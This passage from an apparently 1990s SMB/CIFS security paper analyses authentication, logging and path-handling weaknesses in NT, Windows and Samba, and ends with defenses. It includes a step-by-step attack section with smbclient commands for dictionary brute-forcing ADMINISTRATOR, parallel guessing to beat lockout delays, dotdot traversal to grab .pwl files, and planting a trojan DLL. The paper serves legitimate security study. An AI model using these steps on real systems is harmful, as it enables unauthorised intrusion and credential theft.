  635. down our negotiated protocol level we can eliminate the need for the NT-style
  636. field even if connecting to an NT-dialect server.  For backward compatibility
  637. NT accepts the LANMAN password format, which completely obviates the increased
  638. security supposedly given by long case-sensitive passwords.  It is important
  639. to understand that it is the CLIENT that chooses whether or not to use
  640. password encryption, and the server's "use encryption" security mode bit is
  641. just a gentle suggestion.  If a server cannot authenticate via a 24-byte
  642. crypto response it is supposed to use whatever is given AS PLAINTEXT.  This is
  643. another major weakness in the protocol spec, since a compliant server cannot
  644. enforce use of encryption!  We therefore don't even need "libdes" or the Samba
  645. crypto support for our attack kit, we can just send plaintext passwords.
  646. Furthermore, since at this point we can send multiple SetupAndX exchanges
  647. REGARDLESS of whether they succeed or fail, the opportunity for brute-force
  648. guessing is obvious.  Most stock client apps are not useful as brute-forcing
  649. engines since they exit after one or two failed authentications, but our patch
  650. kit modifies smbclient's send_login() routine to keep trying until it either
  651. succeeds or runs out of passwords to try.
  652.  
  653. While this phase is ripe for brute-force attacks, it is also where servers
  654. might start logging things.  Entries wind up, relative to their respective
  655. system-root directories, in "audit.log" under Windows, "config\secevent.evt"
  656. under the NT system directory, and "var/log.smb" on a Samba server.  Microsoft
  657. platforms [particularly NT] open their log files in an exclusive way that
  658. prevents other processes from directly reading or modifying them, and Samba's
  659. logfiles can be protected against normal users.  Unfortunately the default
  660. setup for what *gets* logged is weak or nonexistent.  Windows seems only to
  661. log full filesharing connection attempts, which do not happen at this phase,
  662. and the logging is controlled via simple SYSTEM.INI lines.  NT out of the box
  663. logs NOTHING -- one must configure the NT "system policy" to *do* the logging
  664. for both failed and successful user logins, and only the name given by the
  665. connecting client is saved -- NOT its IP address.  Other Microsoft platforms
  666. have the same problem.  Unless someone actively runs "netstat -a" during the
  667. attack or provides some third-party enhanced logging facility, no useful
  668. backtracing information will be saved.  The Samba server by default only logs
  669. successful filesharing connections.  This pretty much lets an attacker guess
  670. at Unix user passwords all day and never be noticed, similar to what vanilla
  671. rexec allows.  Setting up more meaningful logging gets rather involved and is
  672. covered later under "defenses."  In all cases, recall also that any TCP
  673. connections can be run through an intermediate relay which will cause the
  674. relay's IP address to be observed instead of the real source of an attack.
  675.  
  676. NT servers exhibit several quirks worth mentioning, most of which reveal that
  677. the design of the authentication backend is at best naive.  A cleartext
  678. unicode NT password can be sent in smb_vwv8 but if the alignment is screwed up
  679. or the length given as uneven, the returned error is "parameter incorrect" and
  680. the event log entry is just "unexpected error."  If a properly formed NT
  681. password is given under NT LM dialect, encrypted or otherwise, any LANMAN
  682. style one in smb_vwv7 is apparently ignored.  Upon valid authentication, other
  683. error codes returned can mean things like "account disabled", "network access
  684. denied", "cannot log in from this workstation", as well as several others that
  685. arguably give out too much information that could help guide an attack.  Users
  686. can be configured such that they can only log in from certain named clients,
  687. but not only can the client send an arbitrary caller name, it turns out that
  688. using either a null name or even a single space handily bypasses this silly
  689. restriction and allows the login anyway.
  690.  
  691. NT has the capability to "lock out" accounts after some number of failed login
  692. attempts.  While there is no specific error to indicate this, it is quite easy
  693. to remotely determine [at least against NT 4.0 with non-permanent user lockout
  694. policy] when a temporary account lockout happens.  Any failed login usually
  695. causes the server to delay for 2 or 3 seconds before sending the SMB "access
  696. denied" error, to slow down brute-force attacks.  Attempts on a valid username
  697. will elicit these delayed responses until the lockout threshold is reached,
  698. and then suddenly there is NO delay anymore and subsequent guesses on the
  699. same username are denied immediately!  If account lockout is enabled, the
  700. default threshold is between 5 and 10 tries and the lockout time is 30
  701. minutes.  Therefore in most cases it doesn't take very long to make the
  702. lockout perceptibly happen.
  703.  
  704. If attempts on one known-to-exist username triggers login-failure lockout but
  705. another one does not, chances are that the second one is the administrator
  706. account.  Conversely, if attempts on ADMINISTRATOR trigger lockout, it is
  707. probably a decoy and the real one has been renamed.  Lockout does not apply
  708. to the administrative account, with the ostensible idea being prevention of
  709. *total* denial of service attacks.  This leaves ADMINISTRATOR or the
  710. equivalent accountname open to unlimited guessing.  Even the access-denied
  711. delay can be effectively bypassed.  The delay is imposed per TCP connection,
  712. so by opening up 10 connections and pounding in different sets of passwords
  713. an attacker gets a tenfold increase in brute-force speed.  Such an attack
  714. probably occupies significant server CPU time since not only does the event
  715. logging go crazy, but each plaintext guess must be re-hashed on the *server*
  716. side for comparison against the stored OWF.  A workaround sometimes suggested
  717. to combat this is an obscure registry setting that causes the whole server to
  718. shut down when the event log fills, but that just allows an even worse denial
  719. of service.
  720.  
  721. Phase 4: IPC Tree connect
  722. =========================
  723.  
  724. Now that we are logged in, we can begin exploring what resources the target
  725. has to offer.  A "tree connect" traditionally implies a directory tree in a
  726. filesystem, but in SMB there is special type of shared resource referred to as
  727. a named pipe or IPC -- familiar terms to Unix people.  Tree connect is
  728. sometimes also called StartConnection or TCon.  A tree connect is performed to
  729. access any resource, be it a filesystem, a printer, or a named pipe.  Pipes
  730. provide a means for exchanging "API calls" of various types between client and
  731. server, and besides mentioning a couple of specific API types this document
  732. does not cover them in any further detail.  Besides, according to CIFS the
  733. newer [and Microsoft-originated, rather than third-party?] RPC facility is
  734. the recommended interface for such things, implying that the named-pipe API
  735. may eventually be phased out.  Nonetheless the current interface to get
  736. information about the server is still a named-pipe transaction, so in this
  737. case we need to do an IPC tree connect to obtain the server's "share list" and
  738. discover what *other* things we can connect to.
  739.  
  740. There is a field in this SMB for a password, which is used if needed for
  741. accessing filesystems on share-level servers.  The IPC tree connect we need
  742. here should not require a password, but there may be odd cases or other types
  743. that do.  The other fields contain the service type and name which in this
  744. specific case are the two strings "IPC" and "\\SERVER\IPC$".  There is an AndX
  745. form of this SMB so more requests can be chained onto it -- often used for
  746. quick one-off requests such as getting share lists.  Sometimes the tree
  747. connect itself is tacked on to the SMB session setup as the AndX request.  In
  748. general if a given phase doesn't appear by itself in a packet dump, check for
  749. an AndX in the previous request.  For example, session setup returning with a
  750. nonzero TID probably resulted from sending the setup and TCon as one big SMB.
  751.  
  752. The Microsoft "net view \\servername" command should show the share-list of
  753. the target, EXCEPT for any "hidden" sharenames that end with "$" per the
  754. stupid client-side design.  [This is described below.]  If no existing TCP
  755. session is established yet, "net view" will behind the scenes go through all
  756. the SMB steps needed to get to this point.  We can usually see any and all
  757. shares with smbclient, where we specify "-L servername" to list them and some
  758. other info such as browse lists of neighboring machines.  These lists are all
  759. gotten via API transactions of various sorts with the well-known standard
  760. "\PIPE\LANMAN" service -- possibly because LANMAN 1 was the first dialect to
  761. support named pipes at all.  This a black box in the scope of this document
  762. but suffice to say it involves wacky strings like "WrLehDO" and "B16BBDz"
  763. plugged into SMB "Trans" requests.  Some but not nearly all of this is
  764. documented in CIFS.
  765.  
  766. A successful tree connect response fills in a two-byte SMB header field called
  767. the tree-ID or TID.  This is another arbitrary cookie that the client must
  768. send back in with any subsequent interactions with the resource in question.
  769. A client can have more than one active TID at a time.  Once the IPC TID is
  770. established, I/O to the named pipe can begin.  After any successful TCon, the
  771. TCP connection should remain open even if there is no subsequent SMB activity
  772. for a while.  CIFS states that correct server behavior is that it should only
  773. time out truly inactive client connections, where "inactive" is apparently
  774. defined as having no current tree connections and not sending any SMB
  775. requests, but most servers seem to eventually knock down connections with
  776. or without active TIDs anyway.
  777.  
  778. Errors here are many and varied, and again interpret_error helps us figure
  779. out what is going on.  In user-level security "access denied" means that the
  780. tree connect was attempted without the necessary prior authentication from
  781. SessionSetupAndX, and in share-level may simply mean the wrong share password
  782. was given.  "Bad password" is more common in the latter case.  Another common
  783. error is "invalid network name" from an attempt to connect to some resource
  784. that the server doesn't have.  Samba issues server-class "access denied" if
  785. its IP-level allow/deny configuration disallows a service TCon.  For the most
  786. part if any errors other than those just described are returned from an IPC
  787. TCon, we are probably in a fairly hopeless state and should start over.
  788.  
  789. Some old clients cannot do user-level security, so the CIFS spec optionally
  790. allows for backward compatibility by having the server assume that the calling
  791. name of a client machine is also the username for session setup purposes.
  792. If the caller name maps to a known username and that user's correct password
  793. is supplied as a share password in a TCon, an implicit user login is performed
  794. and SetupAndX can be skipped.  NT and possibly other user-level Microsoft
  795. servers don't seem to comply with this, handing back "bad UID" errors for
  796. other SMB requests until a real session setup is completed.  Samba supports it
  797. by building an internal concept of the "potential user" of a given connection
  798. and checking if various names and SMB parameters from previous phases are
  799. valid usernames and passwords.  This does not necessarily imply protocol
  800. weakness or that SetupAndX should be skipped if possible -- Samba does most
  801. of its logging at TCon time, for example.  Besides, changing the attempted
  802. username in this scenario requires a new client connection with a different
  803. caller name.  Generally if a server specifies user-level security then any
  804. brute-force attack should be performed at the setup phase.
  805.  
  806. Some servers deny certain kinds of API calls based on the rights of the user
  807. login; in particular, giving NT both a null username *and* password allows a
  808. session setup but is recorded [if at all] as an "anonymous" login rather than
  809. GUEST, and seems to deny viewing the share list and server info but allow
  810. viewing the browse list.  This is likely intentional, since clients need
  811. to make such periodic quick connections to master browsers to collect more
  812. "network neighborhood" info.  [See Samba's "nmbsync" utility for an example.]
  813. To clarify somewhat, a *share* list is equivalent to the exported filesystems
  814. on the target server, and a *browse* list contains names of neighboring
  815. computers.  This can easily be confused, especially where smbclient's routine
  816. to list server shares is still called browse_host!  Again, a server with a
  817. browse list often can be address-queried for each of the listed names to find
  818. more targets.  If we can dump the share list, this informs us what filesystem
  819. shares we might be able to start fooling with in the next phase.
  820.  
  821. Phase 5: Fileshare tree connect
  822. ===============================
  823.  
  824. This is the same as any other tree connect except that the service type
  825. becomes "A:" to mean "disk" [go figure...] and we connect to "\\SERVER\FOO"
  826. where FOO is the sharename.  Fileshares generally begin at a subdirectory
  827. somewhere in the local disk, and their names are usually unrelated to the
  828. subdirectory path.  Sharenames are chosen by human administrators, which along
  829. with the optional comment fields visible in the share list might at least hint
  830. at what they encompass.  A mounted share makes the subdirectory and everything
  831. from there downward visible to a client across the network.
  832.  
  833. This phase is reached via successful completion of the client commands most
  834. familiar to users.  Usernames and passwords from dialogs or command-line
  835. arguments are supplied where needed.  Doing "Net use * \\SERVER\SHARE" makes a
  836. Microsoft client try contacting SERVER, mount the named SHARE, and assign the
  837. next free drive letter to it.  "Smbclient \\\\SERVER\\SHARE" with optional
  838. arguments is roughly equivalent, although the mount is only per-process and is
  839. disconnected when smbclient exits.
  840.  
  841. A new TID is returned on success, which thereafter must appear in every SMB
  842. header that refers to this mount.  Almost all servers implement a distinction
  843. between read-only access to a fileshare and read-write.  WFWG and other
  844. share-level servers often provide for two possible passwords, one of which
  845. allows writing to the share.  User-level servers usually ignore any supplied
  846. TCon password and presumably assign access rights based on the connecting
  847. user.  NT of course has its slew of user privileges and ACLs on files and
  848. directories -- the much-ballyhooed holdovers from VMS.  Samba primarily relies
  849. on Unix file permissions, madly swapping its effective unix UID around to
  850. match that of corresponding SMB user session before trying to access files.
  851. Samba also imposes several restrictions on "guest" sessions, such as not
  852. being able to write anything.  There doesn't seem to be any clean way of
  853. determining a remote session's access rights other than trying to perform
  854. various operations.  Retrieving a directory or file obviously indicates
  855. successful read access, and a simple low-impact way to check for write access
  856. is to try creating and then deleting a new directory.  At first this all
  857. sounds reasonably secure if the surrounding UID and TID checking is sound,
  858. but there are still a few problems with the fundamental design.
  859.  
  860. Most of the possible errors from this step have already been mentioned.
  861. "Access denied" or "bad password" mean the obvious in user or share level
  862. security modes; NT sends the former if a regular user tries to connect to any
  863. of the special C$ or ADMIN$ type of shares described below.  Share-level
  864. servers usually allow unlimited guesses at share passwords, and deliberate
  865. delays for incorrect passwords are almost unheard of here.  Thus they are not
  866. only open to the same types of brute-force attacks over the network, such
  867. attacks can proceed almost at the speed of the intervening wire.  If the
  868. guesses come in too fast some servers can't handle it and just belly-up --
  869. WFWG is one example -- and it is often necessary to throttle back the guessing
  870. rate just to get all the way through a dictionary.
  871.  
  872. Microsoft clients seem to treat any resource name ending with "$" as "hidden"
  873. and it is even documented that while such fileshare names won't show up
  874. during browsing, they are available to someone who "knows the name."  In
  875. most cases smbclient will gladly show us all the hidden shares on a server
  876. regardless, since once again any such concealment is up to the client side.
  877. Interestingly, "IPC$" also falls into this class.  NT almost always sets up a
  878. predefined set of hidden administrative "default" shares, named "C$" for the
  879. whole C drive, "D$" for the whole D drive if present, and "ADMIN$" or perhaps
  880. "WINNT$" pointing into the top of the system directory.  While visible via
  881. smbclient, TCons to them by anything other than an administrator login are
  882. generally denied but are always worth trying anyway.  As mentioned in several
  883. NT security texts these sharenames are automatically set up at every reboot,
  884. making it likely that a cracked administrator password gives carte blanche
  885. access to the entire machine.
  886.  
  887. Once a fileshare tree connection has been made, normal network-filesystem
  888. I/O is possible using more SMBs to read and write files, search directories,
  889. get and set attributes, do exclusive locks, or whatever.  This is why SMBs
  890. can be large -- for efficiency, since data read or written occupies the
  891. buffer portion of the blocks.  As in NFS, there is no concept of the current
  892. directory except in the client, which must construct and send a full pathname
  893. along with the right TID for every file reference.  Despite the spec stating
  894. that having any active tree connect should disable server timeouts, most
  895. clients periodically send some kind of null SMB to keep things warm -- either
  896. a SMB echo or, in the case of Samba, a status check of the root directory.
  897. The opposite of TCon is an SMB called Tree Disconnect or TDis, which tears
  898. down an existing TCon and invalidates the TID.  The transport connection
  899. remains open for some time afterward, during which other SMBs including a new
  900. TCon can be issued.  Multiple tree connects can be currently active, such as
  901. an open fileshare or two and a quick IPC to get an updated browse list or
  902. something.
  903.  
  904. The ability to make several arbitrary fileshare tree connects has an
  905. interesting side effect against Samba servers, which commonly make user home
  906. directories available as the special [HOMES] share.  Where this share points
  907. to changes dynamically if it matches an existing Unix user, and by default
  908. the username to authenticate against is taken from the sharename unless
  909. a different one is specified, say with "smbclient -U".  Thus a TCon to
  910. "\\servername\user" makes just the user's home directory and downward visible.
  911. However, under many Samba configurations a TCon to the name of some account
  912. whose home directory is "/" allows the client to view the server's entire
  913. filesystem.  Therefore one can user-level authenticate as "joe" but then TCon
  914. to "root" or "bin" and explore the whole machine, albeit only as joe's Unix
  915. UID.  This also works against a share-level Samba, since we can either perform
  916. user-level setup regardless or use the "implied user" client-name feature and
  917. ask for the different user's sharename.  A potentially worse side effect is
  918. that a TCon to the "sharename" of a user that does not exist returns "network
  919. name not found", while connecting to one that *does* exist either works or
  920. returns "access denied" depending on whether the client is in as a real user
  921. or a guest.  Regardless of TCon success or failure, the extant ones also start
  922. getting added to the visible share list for that client connection!  This
  923. allows a client to scan for valid usernames even if only logged in as a guest,
  924. albeit at the risk of being extensively logged.  A bunch of blind TCon
  925. attempts can be made and the Samba server conveniently collects the locally
  926. valid usernames into a viewable list.
  927.  
  928. Microsoft servers are not immune to such games either, since most Microsoft
  929. clients make a single TCP connection and rely on the UID and integrity of the
  930. network layer to keep user rights separated.  Once a UID is valid across a
  931. given TCP session, it can be used to mount and mess with pretty much any other
  932. shares the server offers.  The couple of known exceptions are the special NT
  933. admin shares and Samba's guest restrictions.  As CIFS support is developed for
  934. other platforms, the same is likely to be true there too.  Some new Unix
  935. variants already have an SMB network fileystem kernel driver.  Unfortunately
  936. servers are required by the spec to place entirely too much trust in client
  937. machines.  For example, a share mounted by one particular user tends to stick
  938. around unless specifically disconnected, and thus may be available to another
  939. user who logs in later even if the new user normally has no account or access
  940. rights on the *server*.  A client could be compromised or network traffic
  941. spoofed to send requests with an altered UID.  It is also not entirely clear
  942. how "isolated" the TCP connections really are from each other, suggesting that
  943. messing around with UID/TID combinations might turn up a few surprises.  The
  944. server simply expects every client to behave itself.
  945.  
  946. This was really driven home by the discovery of the now well known "dotdot"
  947. bugs.  Since most filename parsing and cleanup is left to the client, it was
  948. found that smbclient could send requests containing filenames of the form
  949. "..\..\CONFIG.SYS" to easily escape the confines of the share.  Microsoft's
  950. official excuse for this was that Samba is an "illegal client" and shouldn't
  951. be used, but nonetheless released service packs with a couple of pathname
  952. enforcement bandaids slapped on to the server code.  Samba itself didn't fall
  953. victim to this because its Unix-savvy implementors already knew long since to
  954. check for ".." and such in pathnames!  Part of the patch kit short circuits
  955. dos_clean_name() to return without touching the given pathname, allowing us
  956. more freedom to send arbitrary file paths and explore bugs of this sort.  This
  957. is not an automated test; one must play and examine some directories to figure
  958. out whether a bug is being tickled or not.  A fairly reliable way to automate
  959. such a check is to examine the first entries in directory listings of "\" and
  960. "..\" and compare file attributes; if they are different then something is not
  961. quite right.  There may be some other funky path formats that servers handle
  962. badly; earlier versions of NT would even crash when asked for various bogus
  963. pathnames.  There are some SMB flags to indicate support for long filenames,
  964. which may confuse servers if changed in midstream or set under a dialect that
  965. isn't supposed to support them.
  966.  
  967. Launching the attack
  968. ====================
  969.  
  970. The preceding explanation has not really detailed the specific real-world
  971. steps needed to implement an attack.  Here we try and pull it all together.
  972. Parameters that will vary are represented {thus}.
  973.  
  974. The attack engine is built from Samba 1.9.15p8, using the instructions and
  975. patches given in Appendix B.  You will also need some password dictionaries,
  976. which are available from numerous repositories.  If you have read this far,
  977. it seems likely that you can handle this part.
  978.  
  979. Scan the target network for NetBIOS-aware hosts to build a list of hostnames
  980. and IP addresses, perhaps trying a status query to a couple of them to check
  981. for packet filtering.  The rest of this summarizes probing an individual
  982. target, whose hostname or IP address is hereafter represented by {ip}.
  983. If a known scope ID is in use, add "-i {scopename}" to all nmblookup and
  984. smbclient commands.
  985.  
  986. Get the target's namelist, using the "*" status query and some type-0 name
  987. guesses if "*" doesn't work.  Directed broadcast to x.y.z.255 may be useful in
  988. rare cases if one is able to receive all possible responses somehow; note also
  989. that the broadcast address may not be .255 for many subnets.
  990.  
  991.     nmblookup -B {ip} -S \*
  992.     nmblookup -B {ip} -S {dns-name}
  993.     nmblookup -B {ip} -S WORKGROUP#0
  994.  
  995. If a machine sporting the __MSBROWSE__ name is discovered, concentrate on that
  996. one since it potentially has a browse-list and information about its network
  997. neighbors.  Plug the returned type-0x20 name in and get a share listing.  Use
  998. an informative debug level, avoid using NT LM dialect, hide various client
  999. info, and try some standard usernames and any type-0x3 names observed along
  1000. the way.  Many targets will accept a null password, but if a real one is
  1001. needed make some basic guesses such as the computername or username.  The
  1002. hacked client accepts passwords from standard input until it gets in, gets
  1003. interrupted, or hits EOF.
  1004.  
  1005.     smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ADMINISTRATOR
  1006.     smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ""
  1007.  
  1008. For the hard cases, pick a username or sharename that is likely to exist, and
  1009. level a common-password dictionary file at it.  If you have not enabled the
  1010. UPPERCASE option, arrange to uppercase the dictionary first since success is
  1011. more likely.  Debug level 0 makes it run silently until it gets in or exhausts
  1012. the dictionary.  To test for invalid password delays, use a higher debug level
  1013. and manually observe the timing.  A sudden speedup in access errors probably
  1014. indicates account lockout and that further attempts on that account won't be
  1015. useful for at least another half an hour or so.
  1016.  
  1017.     smbclient -L {TARGET} -I {ip} -d 0 -n " " -m LANMAN2 \
  1018.       -U BACKUP < dictfile
  1019.  
  1020. Try connecting to the shares on an accessible target, testing for read/write
  1021. access, and exercising bugs.
  1022.  
  1023.     smbclient \\\\TARGET\\SNAME -n TRUSTME -m LANMAN2 -U JOEUSER -I {ip}
  1024.     smb: \> dir
  1025.     smb: \> md test
  1026.     smb: \> rd test
  1027.     smb: \> cd ..
  1028.     smb: \..\> dir
  1029.     smb: \..\> cd \..\..
  1030.     smb: \..\..\> dir
  1031.     smb: \..\..\> get config.sys -
  1032.     smb: \..\..\> cd windows
  1033.     smb: \..\..\windows\> get joeuser.pwl
  1034.     smb: \..\..\windows\> put trojan.dll winsock.dll
  1035.  
  1036. For the *really* hard cases that impose bad-password delays but allow many
  1037. attempts such as NT administrator accounts, split up [and optionally convert
  1038. to uppercase] a large dictionary and use the multi-connection hack.  A
  1039. convenient way to run it is inside "script", to record the details from any
  1040. process that successfully logs in.
  1041.  
  1042.     script logfile
  1043.     set DOIT = "smbclient -L {TARGET} -I x.y.z.q -d 0 -n ' ' \
  1044.       -m LANMAN1 -U ADMINISTRATOR"
  1045.     $DOIT < splitdict.1 &
  1046.     $DOIT < splitdict.2 &
  1047.     $DOIT < splitdict.3 &
  1048.     $DOIT < splitdict.4 &
  1049.     ... etc, up to 10 or however many concurrent ones it can handle ...
  1050.  
  1051. Collect the results, write the report, submit the invoice...
  1052.  
  1053. Now what?
  1054. =========
  1055.  
  1056. Where do we go from here?  If administrator-level access is gained the
  1057. possibilities are endless -- an account cracked during an attack is the same
  1058. credential needed for remote maintenance and registry editing, to install
  1059. hacked web pages and DLLs and drivers, modify startup files to run backdoor
  1060. daemons, or just wreak havoc.  Access as a regular user or even guest may
  1061. permit such games as well.  If the NT GUEST login is enabled, on most servers
  1062. it gets more privileges than needed unless configured otherwise.  Even
  1063. read/write guest access to /tmp on a Samba server may be dangerous if its
  1064. shell users run any of hundreds of utilities that bounce critical data in and
  1065. out of /tmp files.  This document does not address problems in other services
  1066. such as FTP and Web since they are exhaustively explored in other documents,
  1067. but one should still consider the potential effects of concerted attacks on
  1068. those services *and* SMB together.
  1069.  
  1070. Intruders are already scanning routinely across the customer networks of
  1071. large ISPs, looking for vulnerable home PCs with technically illiterate
  1072. owners and factory-default setups.  The notoriously weak .PWL files are a
  1073. popular target, and woe betide those who use them to store working passwords
  1074. for other services.  The cable-TV modem systems now coming online function
  1075. just like bridged ethernets, freely allowing local broadcasts and other
  1076. shenanigans, which can turn your next door neighbor into an unintentional
  1077. intruder as his '95 box literally explores its "network neighborhood".  If you
  1078. aren't scared yet, consider this scenario: You spend a day at home doing work
  1079. via telecommuting.  Your company is both frugal and security-aware, and has
  1080. provided secure connectivity tools that you can use with your regular personal
  1081. ISP account to access corporate files behind the firewalls.  You inadvertantly
  1082. left filesharing "temporarily" turned on from something you were doing two
  1083. days ago.  While you are happily SSH'ing away, someone breaks into your
  1084. machine via SMB and without your knowledge, sensitive company files and
  1085. your personal finance records are stolen, viruses planted, and your secure
  1086. connection apps compromised.  Next time you use your SSH client, it quietly
  1087. spills its internal beans over the net to a stolen AOL account and within ten
  1088. minutes your internal corporate network is overrun.  Since it appears that
  1089. your access credentials were involved, YOU may be held accountable.  But you
  1090. didn't do anything, and were always careful with your passwords!  A similar
  1091. scenario could easily occur with corporate laptops used to "get home" from
  1092. conferences and trade shows, which could still be a problem even if your
  1093. laptop is reasonably secure but the one belonging to the guy *next* to you is
  1094. compromised!  Think about it...
  1095.  
  1096. The rest of this section wanders into a large area of blue-sky loose ends that
  1097. in large part outlines the limits of the author's current knowledge.  Answers
  1098. to many of these may already be known, and if not then much is certainly left
  1099. for those with the time and inclination to explore and think over.  Anyone is
  1100. free to send information concerning any of these, as well as the inevitably
  1101. needed corrections to other parts of this document.
  1102.  
  1103. Windows cracking tools are already starting to appear.  At least one password-
  1104. snarfing DLL is in the works for NT, as are security-targeted registry editors
  1105. and NTFS tools.  Daemons to listen on network ports and start backdoor command
  1106. shells probably exist already, and if nothing else there are shareware "inetd"
  1107. and telnet-server equivalents available now.  Do not ask me where to get these
  1108. things, because I have no clue.  Pointers, on the other hand, are always
  1109. welcome.
  1110.  
  1111. The \PIPE\LANMAN service is only one of several named-pipe services.  The
  1112. remote registry editor starts up a new IPC TCon and opens "\PIPE\winreg" to do
  1113. its dirty.  Another service type seems to be called \MAILSLOT\{various-things}
  1114. and shows up in browsing-related UDP traffic.  Domain logons try to locate
  1115. services such as \NET\NETLOGON and \NET\GETDC450, mostly via broadcast UDP.
  1116. There may be many undocumented services and API calls within either class,
  1117. reminding us that Microsoft historically likes to hide ill-considered or
  1118. insecure functionality there and count on obscurity to resist attack.  There
  1119. are also the fledgling DCE/RPC services which apparently are intended to phase
  1120. out named pipes as the recommended transaction backend and clearly present
  1121. a whole 'nother swamp to explore.  If it is running, some part of RPC is
  1122. reachable via TCP port 135.  It seems likely that some of these services
  1123. can be accessed even if the file/printer sharing checkbox is NOT enabled.
  1124.  
  1125. Anyone who runs vanilla SMB over the open Internet is crazy, no matter how
  1126. good their backend server security is.  The protocol runs in the clear, and is
  1127. thus just as vulnerable to TCP spoofing and hijacking as any other cleartext
  1128. session.  All it takes is one properly constructed SMB packet to make an
  1129. existing authenticated session do something nasty or blow open a big hole
  1130. that an attacker can enter through, and it doesn't even matter what the
  1131. server response is or how the real client handles it -- the damage is done.
  1132. There are already known man-in-the-middle attacks against the authentication
  1133. protocol.  Various SMB header fields are only 16 bits, and in addition have
  1134. been observed to be *very* predictable especially from relatively inactive
  1135. servers.  For instance, Samba uses the user's own UID for its SMB UID,
  1136. and TIDs from a quiet server vary little if at all.  NT seems to rather
  1137. consistently assign 2048 for both initial UIDs and TIDs, and increments by
  1138. either 1 or 2048 for new connections.  This suggests that blind TCP spoofing
  1139. attacks may nonetheless be effective even if an attacker cannot observe an
  1140. existing session.
  1141.  
  1142. One type of TCP attack involves "desynchronizing" an existing session between
  1143. two hosts and taking over the connection.  As Laurent Joncheray's paper on the
  1144. subject points out, such an attack is aided by the application protocol in
  1145. question having some element that sends data through the TCP stream but causes
  1146. no change in the state of the application itself.  An example is telnet
  1147. options -- a telnet client can send any number of "do echo" commands and the
  1148. end user would never be the wiser.  An attacker uses this type of "null data"
  1149. to push the TCP sequences out of each endpoint's windows, with the only side
  1150. effect being an "ack war" between the hosts as they desperately try to resync,
  1151. and eventually the attacker controls the whole connection.  SMB has both an
  1152. echo and a session keepalive message, and it is likely that these could also
  1153. be used in a user-undetectable desync attack.
  1154.  
  1155. While separate TCP SMB sessions are supposed to be completely isolated from
  1156. each other, there is always a possibility that a server implementation could
  1157. "leak" or get them confused somehow.  Servers generally run as a single
  1158. process and manage several client connections internally, but how exactly
  1159. does a given one internally reference the parameters associated with each?
  1160. The concept of "UID scanning" has been suggested, and while I personally have
  1161. my doubts about it there are still other various SMB fields to consider.  We
  1162. should not discount for one moment a server giving too much credence to
  1163. client-settable header parameters like UID, TID, PID, MID, and maybe even
  1164. source TCP ports.  The twelve filler bytes in TCP SMBs become relevant in
  1165. connectionless UDP mode for sorting out session IDs, and it would be no
  1166. surprise at all if the right combination of data there was able to, say,
  1167. reference an already existing TCP session.  Most server platforms seem able
  1168. to talk concurrently via either transport type.
  1169.  
  1170. There may be some magic hidden in the calling client name and/or the username
  1171. that the client passes in.  Special user accounts of the form OTHERDOMAIN$ are
  1172. used in domain trust relationships, and recent Samba servers that at least
  1173. partially support domain logins have a small hook to not turn on the "guest"
  1174. bit for this type of user login.  A few remaining bits worth poking at could
  1175. include weaknesses in the Microsoft IP stack itself, as well as how well
  1176. various ill-formed service requests are handled.  Sending random data to the
  1177. listening ports of various NT services such as RPC and DNS can apparently
  1178. cause them to wack out or crash, implying that genuine security holes may
  1179. lurk there as well.  Snowing a site with bogus NMB name-registration and
  1180. master browser election traffic could have many interesting effects on local
  1181. workstations.  SMB clients must conform with a rather rigid request structure,
  1182. but what happens if one does not?  Well-known vulnerabilities such as buffer
  1183. overflows and trust of user-modifiable data keep recurring in recent network
  1184. code under numerous operating systems, and something as large and complex as
  1185. NT or '95 is undoubtedly no exception.
  1186.  
  1187. Besides the oft-belabored network level denial-of-service attacks possible,
  1188. there is also a potential attack written right into the CIFS spec.  It states
  1189. that if a server receives a new session transport connection from a given
  1190. client, it MAY assume that a reboot occurred and summarily drop any old
  1191. existing connections with that client.  Precisely what a "client" is in this
  1192. case is not well-defined, but implies that it is simply based on the claimed
  1193. client name.  Only a lunatic would write a server conformant with this, as it
  1194. would allow anyone to remotely knock down SMB sessions all day, and sensibly
  1195. enough, none of the platforms mentioned herein allow this sort of nonsense.
  1196. Most servers rely on keepalive timeouts and network-level errors to ferret out
  1197. dead client connections.
  1198.  
  1199. Defenses
  1200. ========
  1201.  
  1202. It is entirely reasonable to mentally lump CIFS in the same class as NFS, and
  1203. view the security aspects of both with equal skepticism.  It should be fairly
  1204. evident by now that this stuff is a real danger, and the happy kids in Redmond
  1205. aren't going to be much help here.  To their credit, they have provided a few
  1206. interesting bricks you can use when building your own walls and some of these
  1207. are covered in detail in numerous books and FAQs.  The transport protocol is
  1208. also fairly easy to handle with familiar IP-level defense mechanisms, making
  1209. construction of that "layered defense" more feasible.  It is hoped that the
  1210. preceding bulk of this document has increased understanding how to probe
  1211. networks for remaining NetBIOS-related weak spots.
  1212.  
  1213. Any text or FAQ on Windows or NT security is a good starting point for things
  1214. to change, particularly on servers.  These will detail basics like disabling
  1215. or removing privileges from GUEST accounts, changing ADMINISTRATOR account
  1216. names and barring them from network logins, preventing remote registry
  1217. editing, turning off useless information-leaking services like messaging,
  1218. reassigning user and group privileges, configuring failed-login lockouts,
  1219. and dinking ACLs/ownerships on files and registry entries.  Servers can be
  1220. equipped with batch files to invoke "net share ??? /DELETE" and disable
  1221. unnecessary default fileshares after a reboot.  Centralized user management
  1222. via domain controllers may help mitigate some administrative nightmares, and
  1223. strong user passwords are a must although often difficult to enforce.
  1224.  
  1225. An obvious perimeter defense is packet filter rules in border routers to drop
  1226. traffic to TCP *and* UDP ports 135 thru 139.  This prevents direct NetBIOS and
  1227. RPC attacks from the outside, but may not block a relayed proxy connection or
  1228. a curious insider.  Policy may dictate that a few filtering "holes" be left
  1229. open for remote collaborators; such things should be configured as narrowly as
  1230. possible, perhaps even down to specific host addresses, and policymakers
  1231. should understand that the data in these allowed connections can be stolen or
  1232. corrupted.  Better would be an encrypting proxy relay or VPN of some sort.
  1233.  
  1234. If packet filtering is not an option, as at many policy-impaired sites, there
  1235. are still several worthwhile measures available that can help make your
  1236. machines "invisible" from the outside.  One is to use a scope ID.  These are
  1237. additional components of computernames that Microsoft incomprehensibly
  1238. recommends NOT using but provides anyway.  The stated purpose is to isolate
  1239. groups of machines from each other in a more complete way than using different
  1240. workgroups.  Similarly to using an obscure "domainname" under Unix YP, setting
  1241. all the machines at a site to use a non-obvious scope ID and keeping it a
  1242. secret within a site effectively provides a "site password."  Any NetBIOS
  1243. traffic, name queries and session setup alike, must contain the exact same
